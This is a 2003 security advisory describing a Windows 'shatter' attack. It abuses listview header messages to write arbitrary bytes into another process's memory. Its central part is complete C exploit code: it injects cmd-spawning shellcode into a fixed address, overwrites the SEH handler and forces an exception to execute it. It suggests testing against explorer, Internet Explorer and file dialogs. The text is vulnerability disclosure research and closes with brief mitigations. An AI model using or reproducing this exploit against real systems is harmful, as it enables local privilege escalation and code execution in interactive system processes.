shatterSEH2.txt

`moderator: I forgot the link :-)  
=========================================================================  
= Shattering SEH II  
=  
= [email protected]  
= http://www.security-assessment.com  
=  
= Originally posted: July 28, 2003  
=========================================================================  
  
== Background ==  
  
Following on from out previous post about overwriting SEH using messages;  
http://archives.neohapsis.com/archives/ntbugtraq/2003-q3/0035.html  
  
The first post was considered more of a theoretical problem, as it was  
based on manually sizing a column to a size, and then been able to  
overwrite two bytes of a four byte critical address.  
  
After doing some more research we realised that it was possible to;  
- Systematically control the 'written' bytes  
- Write our 'shellcode' byte by byte to a known fixed address  
- Overwrite the full 4 bytes of a critical address  
  
The following will briefly describe the how of this and its purpose is  
to show how 'less obvious' messages have the potential to be dangerous.  
  
== Detail ==  
  
The RECT structure is defined as;  
(From MSDN)  
- typedef struct _RECT {  
- LONG left;  
- LONG top;  
- LONG right;  
- LONG bottom;  
- } RECT, *PRECT;  
(End MSDN)  
  
When used with the HDM_GETITEMRECT message, memory is overwritten as;  
  
AAAABBBBCCCCDDDD where A = Left, B = Top, C = Right, D = Bottem  
  
By setting the width of the first column, we are in control of the left  
value of the second column. We can use the least significant byte to  
overwrite memory space byte by byte.  
  
When the HDM_GETITEMRECT is called, memory will be overwritten as;  
  
XAAABBBBCCCCDDDD where X is our 'controlled' byte.  
  
By doing one write and then incrementing our write address, we are able  
to write a string of controlled bytes to a controlled memory location.  
This location could be program read/write data space, or something  
global like TEB/PEB.  
  
We can use this method to write our shellcode into a known writeable  
address. Then the SEH handler is overwritten with the same address,  
and after causing an exception the code is executed.  
  
== Example Code ==  
  
/**********************************************************  
* shatterseh2.c  
*  
* Demonstrates the use of listview messages to;  
* - inject shellcode to known location  
* - overwrite 4 bytes of a critical memory address  
*  
* 3 Variables need to be set for proper execution.  
* - tWindow is the title of the programs main window  
* - sehHandler is the critical address to overwrite  
* - shellcodeaddr is the data space to inject the code  
* The 'autofind' feature may not work against all programs.  
* Insert your own blank lines for readability  
* Try it out against any program with a listview.  
* eg: explorer, IE, any file open dialog  
* Brett Moore [ [email protected] ]  
* www.security-assessment.com  
**********************************************************/  
#include <windows.h>  
#include <commctrl.h>  
// Local Cmd Shellcode  
BYTE exploit[] =  
"\x90\x68\x63\x6d\x64\x00\x54\xb9\xc3\xaf\x01\x78\xff\xd1\xcc";  
long hLVControl,hHdrControl;  
char tWindow[]="Main Window Title";// The name of the main window  
long sehHandler = 0x77edXXXX; // Critical Address To Overwrite  
long shellcodeaddr = 0x0045e000; // Known Writeable Space Or Global Space  
void doWrite(long tByte,long address);  
void IterateWindows(long hWnd);  
int main(int argc, char *argv[])  
{  
long hWnd;  
HMODULE hMod;  
DWORD ProcAddr;  
printf("%% Playing with listview messages\n");  
printf("%% [email protected]\n\n");  
// Find local procedure address  
hMod = LoadLibrary("msvcrt.dll");  
ProcAddr = (DWORD)GetProcAddress(hMod, "system");  
if(ProcAddr != 0)  
// And put it in our shellcode  
*(long *)&exploit[8] = ProcAddr;  
printf("+ Finding %s Window...\n",tWindow);  
hWnd = FindWindow(NULL,tWindow);  
if(hWnd == NULL)  
{  
printf("+ Couldn't Find %s Window\n",tWindow);  
return 0;  
}  
printf("+ Found Main Window At...0x%xh\n",hWnd);  
IterateWindows(hWnd);  
printf("+ Not Done...\n");  
return 0;  
}  
void doWrite(long tByte,long address)  
{  
SendMessage((HWND) hLVControl,(UINT) LVM_SETCOLUMNWIDTH,  
0,MAKELPARAM(tByte, 0));  
SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,1,address);  
}  
void IterateWindows(long hWnd)  
{  
long childhWnd,looper;  
childhWnd = GetNextWindow(hWnd,GW_CHILD);  
while (childhWnd != NULL)  
{  
IterateWindows(childhWnd);  
childhWnd = GetNextWindow(childhWnd ,GW_HWNDNEXT);  
}  
hLVControl = hWnd;  
hHdrControl = SendMessage((HWND) hLVControl,(UINT) LVM_GETHEADER, 0,0);  
if(hHdrControl != NULL)  
{  
// Found a Listview Window with a Header  
printf("+ Found listview window..0x%xh\n",hLVControl);  
printf("+ Found lvheader window..0x%xh\n",hHdrControl);  
// Inject shellcode to known address  
printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr);  
for (looper=0;looper<sizeof(exploit);looper++)  
doWrite((long) exploit[looper],(shellcodeaddr + looper));  
// Overwrite SEH  
printf("+ Overwriting Top SEH....0x%xh\n",sehHandler);  
doWrite(((shellcodeaddr) & 0xff),sehHandler);  
doWrite(((shellcodeaddr >> 8) & 0xff),sehHandler+1);  
doWrite(((shellcodeaddr >> 16) & 0xff),sehHandler+2);  
doWrite(((shellcodeaddr >> 24) & 0xff),sehHandler+3);  
// Cause exception  
printf("+ Forcing Unhandled Exception\n");  
SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,0,1);  
printf("+ Done...\n");  
exit(0);  
}  
}  
  
== Example Vulnerable Programs ==  
  
>From our testing, any interactive proccess that has an accesible  
listview with more than one column is vulnerable.  
  
== Solutions ==  
  
See the iDEFENSE paper for some good solution examples.  
- Limit the interactive system processes  
- Filter the messages accepted by interactive system processes  
  
== Credit ==  
  
Brett Moore from security-assessment.com  
  
%-) Credits are in the machine. ka-ching.  
  
== About Security-Assessment.com ==  
  
Security-Assessment.com is a leader in intrusion testing and security  
code review, and leads the world with SA-ISO, online ISO17799 compliance  
management solution. Security-Assessment.com is committed to security  
research and development, and its team have previously identified a  
number of vulnerabilities in public and private software vendors products.  
  
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